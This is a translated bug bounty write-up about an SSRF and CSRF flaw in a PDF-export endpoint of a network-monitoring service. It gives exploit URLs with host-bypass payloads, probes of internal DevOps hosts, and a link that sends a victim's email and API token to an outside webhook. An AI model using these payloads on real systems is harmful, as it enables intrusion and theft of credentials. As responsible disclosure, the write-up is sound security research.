Эксплуатация двусторонней SSRF с воздействием на сервер и клиента

Как нож с двумя лезвиями, это история о двусторонней уязвимости SSRF (Server-Side Request Forgery), которую удалось успешно использовать, чтобы продемонстрировать воздействие как на сервер, так и на клиента, что не часто встречается, по крайней мере в моем опыте.

Я изучал приватную багбаунти программу, принадлежащую организации, предлагающей решение для мониторинга сети. Исследуя различные функции, я проводил сетевые тесты с помощью их агента и обратил внимание на небольшую функцию, позволяющую пользователям экспортировать результаты теста, отправив PDF-копию по электронной почте. Запрос был следующим:

GET /api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=/v4/export/synthetics/tests/780/results
Host: app.████████.com

К моему удивлению, когда я получил отчет в формате PDF по электронной почте, это был буквально снимок экрана веб-страницы с результатами. Я вернулся, чтобы перепроверить конечную точку и заинтересовался параметром location. Я предположил, что бэкенд, вероятно, делает снимок страницы по адресу /v4/export/synthetics/tests/780/results и отправляет его пользователю по электронной почте.

Чтобы проверить свое предположение, я изменил значение параметра location, чтобы указать на другой аутентифицированный маршрут в приложении, например /v4/onboarding/device-status/80219.

Бинго! Это сработало, и я получил PDF со снимком экрана этой веб-страницы. Мне стало интересно, как эта функция могла быть реализована на бэкенде и можно ли направить ее на другой хост, внутренний или внешний. Я решил провести следующие тесты:

&location=//example.com
&location=https://example.com

Отчет PDF содержал снимок экрана с ошибкой 404, что было мне знакомо, поэтому я предположил, что бэкенд, вероятно, берет значение параметра location, добавляет его к хосту и делает снимок экрана, то есть:

https://app.████████.com/v4/export/synthetics/tests/780/results

Если это так, то мы можем попробовать обычные обходные пути для SSRF, такие как: @example.com или .example.com, которые, если сработают, то приведут к тому, что бэкенд выполнит HTTP-запрос к:

https://app.████████.com@example.com
https://app.████████.com.example.com

Оба этих варианта сработали, и я получил следующий отчет PDF по электронной почте:

Поскольку у нас подтвержден SSRF, нам нужно максимизировать его воздействие на безопасность, попытавшись эксплуатировать его против внутренней сети. Естественно, первый тест, который я провел, был с указанием параметра location на внутренние хосты, используя различные общие техники, описанные в этом репозитории.

Я попробовал полезные нагрузки, такие как @127.0.0.1, @localhost, @spoofed.burpcollaborator.net, которые указывают на loopback-адрес, перенаправление 301 и т.д., но, к сожалению, ничего не сработало, так как я получал пустой PDF-отчет.

Я искал другие внутренние хосты, кроме типичных, которые, казалось, были в черном списке, поэтому провел быструю разведку поддоменов с помощью Amass, но это не принесло ничего интересного. Тогда я поискал на Github и нашел репозиторий, где упоминался https://redash.iad1.████████.com, который, судя по всему, был рабочим внутренним хостом и не был общедоступным.

Я быстро установил значение параметра location на @redash.iad1.████████.com и получил этот PDF-отчет на почту:

Теперь это гораздо более существенно! Хост запускал экземпляр Redash с сохраненными в открытом виде учетными данными для входа. Я подумал, что они могли запускать и другие инструменты DevOps под доменом .iad1.████████.com, поэтому вручную перебрал некоторые популярные названия проектов, такие как:

@jenkins.iad1.████████.com
@k8s.iad1.████████.com
@github.iad1.████████.com
и т.д.

Тогда, puppet.iad1.████████.com оказался джекпотом! Puppet – это программное обеспечение, используемое для управления инфраструктурой, от конфигурации серверов до их развертывания и оркестрации и т.д. Это было единственное необходимое предположение, так как я получил 10-страничный PDF-отчет, который буквально перечислял все их внутренние хосты, как вы можете видеть ниже:

Я попытался попасть на несколько этих внутренних конечных точек, и они все оказались доступными:

- Elastic:

- Kibana:

На данном этапе у нас есть отлично эксплуатируемый SSRF для сообщения программе, но я решил изучить уязвимую конечную точку немного дальше. Есть три важных замечания, которые я первоначально упустил из виду, если вернуться к нашему предыдущему HTTP-запросу:

- GET эндпоинт не защищен от CSRF-атак.

- Он делает снимок экрана любой аутентифицированной веб-страницы.

- Он отправляет снимок экрана на адрес, указанный в параметре email.

Следовательно, отправив специально сформированный URL легитимному пользователю, я могу сделать снимок любой аутентифицированной страницы и отправить отчет на свой собственный адрес электронной почты, поэтому эксплойт будет таков:

https://app.████████.com/api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=/v4/settings/users

Переход по вышеуказанной ссылке сделает снимок экрана страницы /v4/settings/users и затем отправит его на адрес электронной почты yassineaboukir@wearehackerone.com, который принадлежит злоумышленнику - это раскрывает информацию для любой другой аутентифицированной конечной точки, такой как сетевые агенты на /v4/synthetics/agents, классификации сети на /v4/settings/network-classification.

После этого я настроил HTTP-логгер на requestcatcher.com и указал параметр location на мой webhook @testing1337.requestcatcher.com. Неожиданно HTTP-запрос обнаружил утечку моего адреса электронной почты, а также API-ключа через заголовки: X-CH-Auth-Api-Email, X-CH-Auth-Api-Token.

Таким образом, мы можем использовать эту конечную точку для утечки электронной почты и API-ключа любой организации, через связанный с ней аккаунт, просто введя пользователя в заблуждение и заставив его перейти по ссылке:

https://app.████████.com/api/ui/export/exportPage?format=pdf&emailParams={"email":"yassineaboukir@wearehackerone.com","name":"Yassine","title":"PoC","message":"PoC"}&location=@test.requestcatcher.com

На этом этапе я решил завершить свое исследование и отправил исчерпывающий отчет программе, которая исправила уязвимость и наградила меня максимальной наградой.

Оригинал статьи на английском тут.

Подпишись на канал - @shadow_group_tg.